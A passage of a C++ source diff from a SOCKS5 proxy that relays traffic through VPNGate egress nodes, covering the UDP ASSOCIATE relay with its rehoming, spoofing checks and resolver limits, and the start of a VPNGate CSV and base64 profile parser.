void do_udp_associate(const Endpoint &expect);
|
||||
void park_control_connection();
|
||||
|
||||
// --- rehome ---
|
||||
void do_rehome(egress::EgressPtr fresh);
|
||||
void rehome_ready();
|
||||
void rehome_connect();
|
||||
|
||||
// --- timers / teardown ---
|
||||
void set_phase(Phase p);
|
||||
void touch();
|
||||
void arm_timer();
|
||||
void on_timer();
|
||||
void finish(const char *why);
|
||||
|
||||
void set_state(SessionState s);
|
||||
|
||||
const uint64_t id_;
|
||||
ClientSocket client_;
|
||||
Strand strand_;
|
||||
asio::steady_timer timer_;
|
||||
SessionOptionsPtr opts_;
|
||||
const Authenticator *auth_;
|
||||
CloseHandler on_closed_;
|
||||
|
||||
// Strand-only state.
|
||||
egress::EgressPtr egress_;
|
||||
egress::EgressPtr new_egress_;
|
||||
netstack::TcpStreamPtr remote_;
|
||||
UdpAssociationPtr assoc_;
|
||||
std::vector<uint8_t> up_buf_, down_buf_;
|
||||
size_t hs_len_ = 0; // valid bytes at the front of up_buf_ during handshake
|
||||
bool authed_ = false;
|
||||
bool up_done_ = false, down_done_ = false;
|
||||
bool up_writing_ = false, down_writing_ = false;
|
||||
bool closed_ = false;
|
||||
bool rehoming_ = false, rehome_abort_ = false;
|
||||
size_t up_pending_ = 0; // bytes read from the client during a rehome
|
||||
int active_ = 0; // outstanding relay operations
|
||||
uint64_t gen_ = 0; // invalidates callbacks across a rehome
|
||||
Phase phase_ = Phase::Handshake;
|
||||
Clock::time_point deadline_{};
|
||||
|
||||
// Snapshot state, read by info() from other threads. The state itself is an
|
||||
// atomic rather than mutex-guarded because the strand reads it on every
|
||||
// relayed buffer (touch(), on_timer()) and taking a lock there would put a
|
||||
// contended mutex on the hot path for the benefit of one admin endpoint.
|
||||
std::atomic<SessionState> state_{SessionState::Handshake};
|
||||
mutable std::mutex mu_;
|
||||
std::string client_str_;
|
||||
std::string target_str_;
|
||||
std::string command_str_ = "-";
|
||||
std::string egress_label_;
|
||||
std::atomic<uint64_t> up_bytes_{0}, down_bytes_{0};
|
||||
const Clock::time_point created_;
|
||||
Endpoint target_;
|
||||
};
|
||||
|
||||
using SessionPtr = std::shared_ptr<Session>;
|
||||
|
||||
} // namespace ovg::socks5
|
||||
@@ -0,0 +1,436 @@
|
||||
#include "socks5/udp_relay.h"
|
||||
|
||||
#include "common/error.h"
|
||||
#include "common/logging.h"
|
||||
#include "common/metrics.h"
|
||||
#include "socks5/protocol.h"
|
||||
|
||||
namespace ovg::socks5 {
|
||||
namespace {
|
||||
|
||||
constexpr const char *kMod = "socks5.udp";
|
||||
|
||||
// A datagram socket that cannot keep up drops, it does not grow. These bound
|
||||
// the memory a single association can pin while a send is in flight.
|
||||
constexpr size_t kMaxQueuedDatagrams = 64;
|
||||
constexpr size_t kMaxDatagram = 65535;
|
||||
// Per-association resolver limits. A client that sends to a thousand distinct
|
||||
// names should not get a thousand outstanding lookups.
|
||||
constexpr size_t kMaxResolvingNames = 8;
|
||||
constexpr size_t kMaxQueuedPerName = 4;
|
||||
constexpr size_t kMaxResolvedCache = 64;
|
||||
|
||||
metrics::Counter *m_frag() {
|
||||
static auto *c = metrics::counter(
|
||||
"ovg_socks5_udp_frag_dropped_total",
|
||||
"UDP datagrams dropped because FRAG != 0 (not supported)");
|
||||
return c;
|
||||
}
|
||||
metrics::Counter *m_bad() {
|
||||
static auto *c = metrics::counter("ovg_socks5_udp_malformed_total",
|
||||
"UDP datagrams with an unparsable header");
|
||||
return c;
|
||||
}
|
||||
metrics::Counter *m_spoof() {
|
||||
static auto *c = metrics::counter(
|
||||
"ovg_socks5_udp_unexpected_source_total",
|
||||
"UDP datagrams from an address that is not the associated client");
|
||||
return c;
|
||||
}
|
||||
metrics::Counter *m_overflow() {
|
||||
static auto *c = metrics::counter("ovg_socks5_udp_queue_dropped_total",
|
||||
"UDP datagrams dropped by a full send queue");
|
||||
return c;
|
||||
}
|
||||
metrics::Counter *m_up() {
|
||||
static auto *c = metrics::counter("ovg_socks5_udp_bytes_up_total",
|
||||
"UDP payload bytes client -> egress");
|
||||
return c;
|
||||
}
|
||||
metrics::Counter *m_down() {
|
||||
static auto *c = metrics::counter("ovg_socks5_udp_bytes_down_total",
|
||||
"UDP payload bytes egress -> client");
|
||||
return c;
|
||||
}
|
||||
metrics::Counter *m_rehome() {
|
||||
static auto *c =
|
||||
metrics::counter("ovg_socks5_udp_rehomed_total",
|
||||
"UDP associations moved to a new egress in place");
|
||||
return c;
|
||||
}
|
||||
|
||||
Endpoint to_endpoint(const asio::ip::udp::endpoint &ep) {
|
||||
if (ep.address().is_v4()) {
|
||||
const auto b = ep.address().to_v4().to_bytes();
|
||||
return Endpoint(IpAddress::from_bytes_v4(b.data()), ep.port());
|
||||
}
|
||||
const auto b = ep.address().to_v6().to_bytes();
|
||||
return Endpoint(IpAddress::from_bytes_v6(b.data()), ep.port());
|
||||
}
|
||||
|
||||
} // namespace
|
||||
|
||||
std::shared_ptr<UdpAssociation> UdpAssociation::create(
|
||||
Strand strand, const Socks5Config &cfg, egress::EgressPtr egress) {
|
||||
return std::shared_ptr<UdpAssociation>(
|
||||
new UdpAssociation(strand, cfg, std::move(egress)));
|
||||
}
|
||||
|
||||
UdpAssociation::UdpAssociation(Strand strand, const Socks5Config &cfg,
|
||||
egress::EgressPtr egress)
|
||||
: strand_(strand),
|
||||
cfg_(cfg),
|
||||
egress_(std::move(egress)),
|
||||
client_sock_(strand),
|
||||
client_buf_(kMaxDatagram),
|
||||
out_buf_(kMaxDatagram),
|
||||
last_activity_(Clock::now()) {}
|
||||
|
||||
UdpAssociation::~UdpAssociation() { close(); }
|
||||
|
||||
void UdpAssociation::async_open(const asio::ip::address &bind_addr,
|
||||
const asio::ip::address &client_addr,
|
||||
const Endpoint &expect, ReadyHandler h) {
|
||||
client_addr_ = client_addr;
|
||||
if (!expect.is_domain() && expect.address().valid() && expect.port() != 0) {
|
||||
expect_port_ = expect.port();
|
||||
}
|
||||
|
||||
std::error_code ec;
|
||||
client_sock_.open(bind_addr.is_v4() ? asio::ip::udp::v4() : asio::ip::udp::v6(),
|
||||
ec);
|
||||
if (!ec) client_sock_.bind(asio::ip::udp::endpoint(bind_addr, 0), ec);
|
||||
if (ec) {
|
||||
LOG_WARN(kMod, "cannot bind client-facing UDP socket on {}: {}",
|
||||
bind_addr.to_string(), ec.message());
|
||||
h(ec);
|
||||
return;
|
||||
}
|
||||
|
||||
const auto local = client_sock_.local_endpoint(ec);
|
||||
if (ec) {
|
||||
h(ec);
|
||||
return;
|
||||
}
|
||||
|
||||
// The address we bound is not necessarily the address the client can reach
|
||||
// (NAT, containers, 0.0.0.0). An operator override wins; otherwise the bound
|
||||
// address is the best guess we have.
|
||||
advertised_ = to_endpoint(local);
|
||||
if (!cfg_.advertise_address.empty()) {
|
||||
if (auto ip = IpAddress::parse(cfg_.advertise_address)) {
|
||||
advertised_ = Endpoint(*ip, local.port());
|
||||
} else {
|
||||
advertised_ = Endpoint(cfg_.advertise_address, local.port());
|
||||
}
|
||||
}
|
||||
|
||||
auto self = shared_from_this();
|
||||
const uint64_t gen = gen_;
|
||||
egress_->async_bind_udp(
|
||||
strand_, [self, gen, h = std::move(h)](const std::error_code &bec,
|
||||
netstack::UdpSocketPtr sock) {
|
||||
if (self->closed_ || gen != self->gen_) {
|
||||
if (sock) sock->close();
|
||||
return;
|
||||
}
|
||||
if (bec) {
|
||||
LOG_WARN(kMod, "egress refused a UDP socket: {}", bec.message());
|
||||
h(bec);
|
||||
return;
|
||||
}
|
||||
self->out_ = std::move(sock);
|
||||
self->start_client_recv();
|
||||
self->start_out_recv(gen);
|
||||
h({});
|
||||
});
|
||||
}
|
||||
|
||||
void UdpAssociation::close() {
|
||||
if (closed_) return;
|
||||
closed_ = true;
|
||||
++gen_;
|
||||
std::error_code ignored;
|
||||
client_sock_.close(ignored);
|
||||
if (out_) {
|
||||
out_->close();
|
||||
out_.reset();
|
||||
}
|
||||
to_out_.clear();
|
||||
to_client_.clear();
|
||||
resolving_.clear();
|
||||
}
|
||||
|
||||
void UdpAssociation::rehome(egress::EgressPtr fresh) {
|
||||
if (closed_ || !fresh) return;
|
||||
if (fresh == egress_) return;
|
||||
|
||||
// Bump first: every in-flight callback from the old socket is now stale and
|
||||
// will drop itself instead of touching the new one.
|
||||
const uint64_t gen = ++gen_;
|
||||
if (out_) {
|
||||
out_->close();
|
||||
out_.reset();
|
||||
}
|
||||
out_sending_ = false;
|
||||
to_out_.clear(); // datagrams queued for a socket that no longer exists
|
||||
egress_ = std::move(fresh);
|
||||
|
||||
auto self = shared_from_this();
|
||||
egress_->async_bind_udp(
|
||||
strand_, [self, gen](const std::error_code &ec,
|
||||
netstack::UdpSocketPtr sock) {
|
||||
if (self->closed_ || gen != self->gen_) {
|
||||
if (sock) sock->close();
|
||||
return;
|
||||
}
|
||||
if (ec) {
|
||||
// Nothing to fall back to: the old socket is already gone. The
|
||||
// association stops carrying traffic and the idle timer reaps it.
|
||||
LOG_WARN(kMod, "rehome failed, association is now dead: {}",
|
||||
ec.message());
|
||||
self->close();
|
||||
return;
|
||||
}
|
||||
self->out_ = std::move(sock);
|
||||
// Addresses resolved through the old tunnel may not be the right
|
||||
// answers through the new one, and the reverse map would then lie in
|
||||
// reply headers.
|
||||
self->resolved_.clear();
|
||||
self->rev_names_.clear();
|
||||
self->start_out_recv(gen);
|
||||
m_rehome()->inc();
|
||||
LOG_INFO(kMod, "association rehomed onto {}", self->egress_->label());
|
||||
});
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Client -> egress
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
void UdpAssociation::start_client_recv() {
|
||||
if (closed_) return;
|
||||
auto self = shared_from_this();
|
||||
client_sock_.async_receive_from(
|
||||
asio::buffer(client_buf_), recv_from_,
|
||||
asio::bind_executor(strand_, [self](const std::error_code &ec, size_t n) {
|
||||
if (self->closed_) return;
|
||||
if (ec) {
|
||||
if (ec != asio::error::operation_aborted) {
|
||||
LOG_DEBUG(kMod, "client-facing recv failed: {}", ec.message());
|
||||
}
|
||||
// A UDP socket can report a transient ICMP-derived error; keep
|
||||
// listening rather than killing the association over one datagram.
|
||||
if (ec == asio::error::operation_aborted) return;
|
||||
self->start_client_recv();
|
||||
return;
|
||||
}
|
||||
self->on_client_datagram(n);
|
||||
self->start_client_recv();
|
||||
}));
|
||||
}
|
||||
|
||||
void UdpAssociation::on_client_datagram(size_t n) {
|
||||
// Anti-spoofing, such as it is: only the host that opened the control
|
||||
// connection may use this association, and only from one port.
|
||||
if (recv_from_.address() != client_addr_) {
|
||||
m_spoof()->inc();
|
||||
return;
|
||||
}
|
||||
if (client_latched_) {
|
||||
if (recv_from_ != client_ep_) {
|
||||
m_spoof()->inc();
|
||||
return;
|
||||
}
|
||||
} else {
|
||||
if (expect_port_ != 0 && recv_from_.port() != expect_port_) {
|
||||
m_spoof()->inc();
|
||||
return;
|
||||
}
|
||||
client_ep_ = recv_from_;
|
||||
client_latched_ = true;
|
||||
LOG_DEBUG(kMod, "association latched to client {}:{}",
|
||||
client_ep_.address().to_string(), client_ep_.port());
|
||||
}
|
||||
|
||||
UdpHeader hdr;
|
||||
if (!decode_udp_header(client_buf_.data(), n, &hdr)) {
|
||||
m_bad()->inc();
|
||||
return;
|
||||
}
|
||||
if (hdr.frag != 0) {
|
||||
// Loud on purpose: FEASIBILITY §5.1 promises this is never silent.
|
||||
m_frag()->inc();
|
||||
LOG_WARN(kMod, "dropping fragmented datagram (FRAG={}), not supported",
|
||||
static_cast<int>(hdr.frag));
|
||||
return;
|
||||
}
|
||||
|
||||
last_activity_ = Clock::now();
|
||||
const uint8_t *payload = client_buf_.data() + hdr.header_len;
|
||||
const size_t plen = n - hdr.header_len;
|
||||
|
||||
if (hdr.target.is_domain()) {
|
||||
resolve_and_forward(hdr.target, payload, plen);
|
||||
return;
|
||||
}
|
||||
forward_out(hdr.target, payload, plen);
|
||||
}
|
||||
|
||||
void UdpAssociation::resolve_and_forward(const Endpoint &target,
|
||||
const uint8_t *data, size_t len) {
|
||||
const std::string &name = target.domain();
|
||||
|
||||
auto cached = resolved_.find(name);
|
||||
if (cached != resolved_.end()) {
|
||||
forward_out(Endpoint(cached->second, target.port()), data, len);
|
||||
return;
|
||||
}
|
||||
|
||||
auto it = resolving_.find(name);
|
||||
if (it == resolving_.end()) {
|
||||
if (resolving_.size() >= kMaxResolvingNames) {
|
||||
m_overflow()->inc();
|
||||
return;
|
||||
}
|
||||
it = resolving_.emplace(name, PendingName{}).first;
|
||||
}
|
||||
it->second.port = target.port();
|
||||
if (it->second.datagrams.size() < kMaxQueuedPerName) {
|
||||
it->second.datagrams.emplace_back(data, data + len);
|
||||
} else {
|
||||
m_overflow()->inc();
|
||||
}
|
||||
if (it->second.in_flight) return;
|
||||
it->second.in_flight = true;
|
||||
|
||||
auto self = shared_from_this();
|
||||
const uint64_t gen = gen_;
|
||||
egress_->async_resolve(
|
||||
strand_, name,
|
||||
[self, gen, name](const std::error_code &ec, std::vector<IpAddress> ips) {
|
||||
if (self->closed_ || gen != self->gen_) return;
|
||||
auto it = self->resolving_.find(name);
|
||||
if (it == self->resolving_.end()) return;
|
||||
auto pending = std::move(it->second);
|
||||
self->resolving_.erase(it);
|
||||
|
||||
if (ec || ips.empty()) {
|
||||
LOG_DEBUG(kMod, "udp resolve of {} failed: {}", name,
|
||||
ec ? ec.message() : std::string("no addresses"));
|
||||
return; // datagrams are dropped, which is what UDP does
|
||||
}
|
||||
if (self->resolved_.size() < kMaxResolvedCache) {
|
||||
self->resolved_.emplace(name, ips.front());
|
||||
self->rev_names_.emplace(ips.front().to_string(), name);
|
||||
}
|
||||
const Endpoint dst(ips.front(), pending.port);
|
||||
for (const auto &d : pending.datagrams) {
|
||||
self->forward_out(dst, d.data(), d.size());
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
void UdpAssociation::forward_out(const Endpoint &to, const uint8_t *data,
|
||||
size_t len) {
|
||||
if (closed_ || !out_) return;
|
||||
if (to_out_.size() >= kMaxQueuedDatagrams) {
|
||||
m_overflow()->inc();
|
||||
return;
|
||||
}
|
||||
to_out_.push_back(Pending{std::vector<uint8_t>(data, data + len), to});
|
||||
pump_out();
|
||||
}
|
||||
|
||||
void UdpAssociation::pump_out() {
|
||||
if (out_sending_ || to_out_.empty() || !out_ || closed_) return;
|
||||
out_sending_ = true;
|
||||
|
||||
auto self = shared_from_this();
|
||||
const uint64_t gen = gen_;
|
||||
const auto &front = to_out_.front();
|
||||
out_->async_send_to(
|
||||
asio::buffer(front.data), front.to,
|
||||
[self, gen](const std::error_code &ec, size_t n) {
|
||||
if (self->closed_ || gen != self->gen_) return;
|
||||
self->out_sending_ = false;
|
||||
if (!self->to_out_.empty()) self->to_out_.pop_front();
|
||||
if (ec) {
|
||||
LOG_DEBUG(kMod, "egress send failed: {}", ec.message());
|
||||
} else {
|
||||
self->up_bytes_ += n;
|
||||
m_up()->inc(n);
|
||||
}
|
||||
self->pump_out();
|
||||
});
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Egress -> client
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
void UdpAssociation::start_out_recv(uint64_t gen) {
|
||||
if (closed_ || !out_ || gen != gen_) return;
|
||||
auto self = shared_from_this();
|
||||
out_->async_receive_from(
|
||||
asio::buffer(out_buf_),
|
||||
[self, gen](const std::error_code &ec, size_t n, const Endpoint &from) {
|
||||
if (self->closed_ || gen != self->gen_) return;
|
||||
if (ec) {
|
||||
if (ec != Error::Cancelled) {
|
||||
LOG_DEBUG(kMod, "egress recv failed: {}", ec.message());
|
||||
}
|
||||
return; // the socket is finished; rehome or close will follow
|
||||
}
|
||||
self->on_out_datagram(n, from);
|
||||
self->start_out_recv(gen);
|
||||
});
|
||||
}
|
||||
|
||||
void UdpAssociation::on_out_datagram(size_t n, const Endpoint &from) {
|
||||
if (!client_latched_) return; // nowhere to send it yet
|
||||
last_activity_ = Clock::now();
|
||||
queue_to_client(from, out_buf_.data(), n);
|
||||
}
|
||||
|
||||
void UdpAssociation::queue_to_client(const Endpoint &from, const uint8_t *data,
|
||||
size_t len) {
|
||||
if (to_client_.size() >= kMaxQueuedDatagrams) {
|
||||
m_overflow()->inc();
|
||||
return;
|
||||
}
|
||||
|
||||
// If the client addressed a name, echo the name back. Clients that key their
|
||||
// reply matching on what they sent (resolvers do) would otherwise discard it.
|
||||
Endpoint reported = from;
|
||||
if (!from.is_domain() && from.address().valid()) {
|
||||
auto it = rev_names_.find(from.address().to_string());
|
||||
if (it != rev_names_.end()) reported = Endpoint(it->second, from.port());
|
||||
}
|
||||
|
||||
to_client_.push_back(
|
||||
Pending{encode_udp_datagram(reported, data, len), reported});
|
||||
down_bytes_ += len;
|
||||
m_down()->inc(len);
|
||||
pump_client();
|
||||
}
|
||||
|
||||
void UdpAssociation::pump_client() {
|
||||
if (client_sending_ || to_client_.empty() || closed_) return;
|
||||
client_sending_ = true;
|
||||
|
||||
auto self = shared_from_this();
|
||||
client_sock_.async_send_to(
|
||||
asio::buffer(to_client_.front().data), client_ep_,
|
||||
asio::bind_executor(strand_, [self](const std::error_code &ec, size_t) {
|
||||
if (self->closed_) return;
|
||||
self->client_sending_ = false;
|
||||
if (!self->to_client_.empty()) self->to_client_.pop_front();
|
||||
if (ec && ec != asio::error::operation_aborted) {
|
||||
LOG_DEBUG(kMod, "client send failed: {}", ec.message());
|
||||
}
|
||||
self->pump_client();
|
||||
}));
|
||||
}
|
||||
|
||||
} // namespace ovg::socks5
|
||||
@@ -0,0 +1,161 @@
|
||||
// SOCKS5 UDP ASSOCIATE (RFC 1928 §7).
|
||||
//
|
||||
// Answering the question the requirements asked directly: **UDP ASSOCIATE is
|
||||
// supported.** What is not supported is fragmentation -- a datagram with
|
||||
// FRAG != 0 is dropped and counted, never silently ignored and never
|
||||
// reassembled. docs/FEASIBILITY.md §5.1 has the reasoning: reassembly needs
|
||||
// cross-datagram state, is a known amplification vector, and no client in
|
||||
// practice emits it.
|
||||
//
|
||||
// ---------------------------------------------------------------------------
|
||||
// Shape
|
||||
// ---------------------------------------------------------------------------
|
||||
// An association owns two sockets:
|
||||
//
|
||||
// client_sock_ a host UDP socket the client sends to. Its address is what
|
||||
// goes in the ASSOCIATE reply's BND field, which is why
|
||||
// `advertise_address` exists -- behind NAT or in a container,
|
||||
// the address we bound is not the address the client can reach.
|
||||
// out_ a datagram socket *on the egress*, i.e. inside the tunnel.
|
||||
//
|
||||
// and moves datagrams between them, adding or stripping the RFC 1928 §7 header.
|
||||
//
|
||||
// ---------------------------------------------------------------------------
|
||||
// Why this survives a node switch when TCP does not
|
||||
// ---------------------------------------------------------------------------
|
||||
// UDP has no sequence state to preserve, so `rehome()` closes only `out_` and
|
||||
// opens a fresh one on the new egress. `client_sock_` -- the thing the client
|
||||
// has in its socket table -- never changes: same address, same port. The client
|
||||
// observes nothing except a changed exit IP, and a protocol built for that
|
||||
// (QUIC, RFC 9000 §9) carries on through it. docs/FEASIBILITY.md §5.3.
|
||||
//
|
||||
// ---------------------------------------------------------------------------
|
||||
// Lifetime
|
||||
// ---------------------------------------------------------------------------
|
||||
// RFC 1928 ties the association to its TCP control connection: when that closes,
|
||||
// this must go. The owning Session enforces that by simply destroying us. An
|
||||
// independent idle timer exists as well, because a client that holds the control
|
||||
// connection open forever and stops sending would otherwise pin a tunnel PCB.
|
||||
//
|
||||
// Threading: every method must be called on the owning session's strand, and
|
||||
// every completion runs there too.
|
||||
#pragma once
|
||||
|
||||
#include <asio.hpp>
|
||||
|
||||
#include <chrono>
|
||||
#include <cstdint>
|
||||
#include <deque>
|
||||
#include <functional>
|
||||
#include <memory>
|
||||
#include <string>
|
||||
#include <unordered_map>
|
||||
#include <vector>
|
||||
|
||||
#include "common/config.h"
|
||||
#include "common/endpoint.h"
|
||||
#include "common/strand_deleter.h"
|
||||
#include "egress/egress.h"
|
||||
|
||||
namespace ovg::socks5 {
|
||||
|
||||
using Clock = std::chrono::steady_clock;
|
||||
|
||||
class UdpAssociation : public std::enable_shared_from_this<UdpAssociation> {
|
||||
public:
|
||||
using ReadyHandler = std::function<void(const std::error_code &)>;
|
||||
|
||||
static std::shared_ptr<UdpAssociation> create(Strand strand,
|
||||
const Socks5Config &cfg,
|
||||
egress::EgressPtr egress);
|
||||
~UdpAssociation();
|
||||
|
||||
// Binds the client-facing socket on `bind_addr` (port 0) and opens the egress
|
||||
// socket. `expect` is the DST.ADDR/DST.PORT the client put in its ASSOCIATE
|
||||
// request: a zero address or port means "I do not know yet", in which case we
|
||||
// latch whatever the first datagram comes from -- restricted to the control
|
||||
// connection's peer address, which is the only anti-spoofing check available
|
||||
// without asking the client to tell us the truth about itself.
|
||||
void async_open(const asio::ip::address &bind_addr,
|
||||
const asio::ip::address &client_addr, const Endpoint &expect,
|
||||
ReadyHandler h);
|
||||
|
||||
// Address to put in the reply. Empty until async_open succeeds.
|
||||
Endpoint advertised() const { return advertised_; }
|
||||
|
||||
void close();
|
||||
|
||||
// §5.4: swap the egress-side socket, keep the client-facing one.
|
||||
void rehome(egress::EgressPtr fresh);
|
||||
|
||||
uint64_t bytes_up() const { return up_bytes_; }
|
||||
uint64_t bytes_down() const { return down_bytes_; }
|
||||
Clock::time_point last_activity() const { return last_activity_; }
|
||||
const egress::EgressPtr &egress() const { return egress_; }
|
||||
|
||||
private:
|
||||
struct Pending {
|
||||
std::vector<uint8_t> data;
|
||||
Endpoint to;
|
||||
};
|
||||
|
||||
UdpAssociation(Strand strand, const Socks5Config &cfg,
|
||||
egress::EgressPtr egress);
|
||||
|
||||
void start_client_recv();
|
||||
void on_client_datagram(size_t n);
|
||||
void start_out_recv(uint64_t gen);
|
||||
void on_out_datagram(size_t n, const Endpoint &from);
|
||||
|
||||
void forward_out(const Endpoint &to, const uint8_t *data, size_t len);
|
||||
void pump_out();
|
||||
void queue_to_client(const Endpoint &from, const uint8_t *data, size_t len);
|
||||
void pump_client();
|
||||
|
||||
void resolve_and_forward(const Endpoint &target, const uint8_t *data,
|
||||
size_t len);
|
||||
|
||||
Strand strand_;
|
||||
Socks5Config cfg_;
|
||||
egress::EgressPtr egress_;
|
||||
asio::ip::udp::socket client_sock_;
|
||||
netstack::UdpSocketPtr out_;
|
||||
uint64_t gen_ = 0; // invalidates callbacks from a superseded egress socket
|
||||
bool closed_ = false;
|
||||
|
||||
Endpoint advertised_;
|
||||
asio::ip::address client_addr_; // from the control connection
|
||||
asio::ip::udp::endpoint client_ep_; // latched destination for replies
|
||||
bool client_latched_ = false;
|
||||
uint16_t expect_port_ = 0; // non-zero: the client told us its port up front
|
||||
|
||||
asio::ip::udp::endpoint recv_from_;
|
||||
std::vector<uint8_t> client_buf_;
|
||||
std::vector<uint8_t> out_buf_;
|
||||
|
||||
std::deque<Pending> to_out_;
|
||||
std::deque<Pending> to_client_;
|
||||
bool out_sending_ = false;
|
||||
bool client_sending_ = false;
|
||||
|
||||
// Name resolution, per association. Datagrams for an unresolved name wait
|
||||
// here rather than being dropped: for DNS-over-SOCKS the first datagram is
|
||||
// usually the only one, so dropping it would look like a total failure.
|
||||
struct PendingName {
|
||||
std::vector<std::vector<uint8_t>> datagrams; // full SOCKS5 UDP payloads
|
||||
uint16_t port = 0;
|
||||
bool in_flight = false;
|
||||
};
|
||||
std::unordered_map<std::string, PendingName> resolving_;
|
||||
std::unordered_map<std::string, IpAddress> resolved_;
|
||||
// Reply rewriting: a client that sent to a name expects the reply to say the
|
||||
// name, not the address we happened to pick.
|
||||
std::unordered_map<std::string, std::string> rev_names_;
|
||||
|
||||
uint64_t up_bytes_ = 0, down_bytes_ = 0;
|
||||
Clock::time_point last_activity_{};
|
||||
};
|
||||
|
||||
using UdpAssociationPtr = std::shared_ptr<UdpAssociation>;
|
||||
|
||||
} // namespace ovg::socks5
|
||||
@@ -0,0 +1,358 @@
|
||||
#include "vpngate/csv_parser.h"
|
||||
|
||||
#include <algorithm>
|
||||
#include <cctype>
|
||||
#include <charconv>
|
||||
#include <cstring>
|
||||
|
||||
#include "common/logging.h"
|
||||
|
||||
namespace ovg::vpngate {
|
||||
namespace {
|
||||
|
||||
constexpr const char *kMod = "vpngate";
|
||||
|
||||
// Column indices in the documented header order.
|
||||
enum Col {
|
||||
kHostName = 0,
|
||||
kIp = 1,
|
||||
kScore = 2,
|
||||
kPing = 3,
|
||||
kSpeed = 4,
|
||||
kCountryLong = 5,
|
||||
kCountryShort = 6,
|
||||
kNumVpnSessions = 7,
|
||||
kUptime = 8,
|
||||
kTotalUsers = 9,
|
||||
kTotalTraffic = 10,
|
||||
kLogType = 11,
|
||||
kOperator = 12,
|
||||
kMessage = 13,
|
||||
kConfigBase64 = 14,
|
||||
kColumnCount = 15,
|
||||
};
|
||||
|
||||
std::string_view trim(std::string_view s) {
|
||||
while (!s.empty() && std::isspace(static_cast<unsigned char>(s.front())))
|
||||
s.remove_prefix(1);
|
||||
while (!s.empty() && std::isspace(static_cast<unsigned char>(s.back())))
|
||||
s.remove_suffix(1);
|
||||
return s;
|
||||
}
|
||||
|
||||
std::string lower(std::string_view s) {
|
||||
std::string r(s);
|
||||
for (char &c : r) c = static_cast<char>(std::tolower(static_cast<unsigned char>(c)));
|
||||
return r;
|
||||
}
|
||||
|
||||
// Tolerant numeric parse: empty or garbage yields the fallback rather than
|
||||
// failing the row. VPNGate leaves Ping/Speed empty for nodes it hasn't measured.
|
||||
template <typename T>
|
||||
T to_number(std::string_view s, T fallback) {
|
||||
s = trim(s);
|
||||
if (s.empty()) return fallback;
|
||||
T v{};
|
||||
const auto r = std::from_chars(s.data(), s.data() + s.size(), v);
|
||||
if (r.ec != std::errc{}) return fallback;
|
||||
return v;
|
||||
}
|
||||
|
||||
} // namespace
|
||||
|
||||
std::string ParseStats::summary() const {
|
||||
return "rows=" + std::to_string(data_rows) +
|
||||
" accepted=" + std::to_string(accepted) +
|
||||
" skipped(columns=" + std::to_string(skipped_columns) +
|
||||
" base64=" + std::to_string(skipped_base64) +
|
||||
" profile=" + std::to_string(skipped_profile) +
|
||||
" fields=" + std::to_string(skipped_fields) + ")";
|
||||
}
|
||||
|
||||
// RFC 4180-ish splitter. Handles quoted fields with doubled quotes, and
|
||||
// tolerates a stray quote in the middle of an unquoted field (volunteers do
|
||||
// put quotes in free-text columns).
|
||||
std::vector<std::string> split_csv_line(std::string_view line) {
|
||||
std::vector<std::string> out;
|
||||
std::string cur;
|
||||
cur.reserve(64);
|
||||
bool in_quotes = false;
|
||||
|
||||
for (size_t i = 0; i < line.size(); ++i) {
|
||||
const char c = line[i];
|
||||
if (in_quotes) {
|
||||
if (c == '"') {
|
||||
if (i + 1 < line.size() && line[i + 1] == '"') {
|
||||
cur += '"';
|
||||
++i;
|
||||
} else {
|
||||
in_quotes = false;
|
||||
}
|
||||
} else {
|
||||
cur += c;
|
||||
}
|
||||
continue;
|
||||
}
|
||||
if (c == '"' && cur.empty()) {
|
||||
in_quotes = true;
|
||||
} else if (c == ',') {
|
||||
out.push_back(std::move(cur));
|
||||
cur.clear();
|
||||
} else if (c == '\r') {
|
||||
// tolerate CRLF
|
||||
} else {
|
||||
cur += c;
|
||||
}
|
||||
}
|
||||
out.push_back(std::move(cur));
|
||||
return out;
|
||||
}
|
||||
|
||||
bool base64_decode(std::string_view in, std::string *out) {
|
||||
static constexpr int8_t kInvalid = -1;
|
||||
static constexpr int8_t kSkip = -2;
|
||||
|
||||
auto decode_char = [](unsigned char c) -> int8_t {
|
||||
if (c >= 'A' && c <= 'Z') return static_cast<int8_t>(c - 'A');
|
||||
if (c >= 'a' && c <= 'z') return static_cast<int8_t>(c - 'a' + 26);
|
||||
if (c >= '0' && c <= '9') return static_cast<int8_t>(c - '0' + 52);
|
||||
if (c == '+') return 62;
|
||||
if (c == '/') return 63;
|
||||
if (c == '=') return kSkip;
|
||||
if (c == '\n' || c == '\r' || c == ' ' || c == '\t') return kSkip;
|
||||
return kInvalid;
|
||||
};
|
||||
|
||||
out->clear();
|
||||
out->reserve(in.size() * 3 / 4 + 3);
|
||||
|
||||
uint32_t acc = 0;
|
||||
int bits = 0;
|
||||
for (char ch : in) {
|
||||
const int8_t v = decode_char(static_cast<unsigned char>(ch));
|
||||
if (v == kInvalid) return false;
|
||||
if (v == kSkip) continue;
|
||||
acc = (acc << 6) | static_cast<uint32_t>(v);
|
||||
bits += 6;
|
||||
if (bits >= 8) {
|
||||
bits -= 8;
|
||||
out->push_back(static_cast<char>((acc >> bits) & 0xff));
|
||||
}
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
std::vector<Remote> extract_remotes(std::string_view profile) {
|
||||
// Defaults that a "remote" line without its own values inherits, per
|
||||
// OpenVPN's own semantics.
|
||||
Proto default_proto = Proto::Udp;
|
||||
uint16_t default_port = 1194;
|
||||
|
||||
struct PendingRemote {
|
||||
std::string host;
|
||||
uint16_t port = 0;
|
||||
bool has_port = false;
|
||||
Proto proto = Proto::Udp;
|
||||
bool has_proto = false;
|
||||
};
|
||||
std::vector<PendingRemote> pending;
|
||||
|
||||
// Inline blocks are payload, not directives. Two reasons to skip them: a
|
||||
// <connection> block declares an alternative remote we never scored and
|
||||
// never dial (the sanitizer strips those blocks outright, and the two must
|
||||
// agree on what the node's remotes are), and a PEM body is arbitrary base64
|
||||
// that could begin a line with any word at all.
|
||||
bool in_block = false;
|
||||
std::string block_tag;
|
||||
|
||||
size_t pos = 0;
|
||||
while (pos <= profile.size()) {
|
||||
const size_t nl = profile.find('\n', pos);
|
||||
std::string_view line =
|
||||
profile.substr(pos, nl == std::string_view::npos ? std::string_view::npos
|
||||
: nl - pos);
|
||||
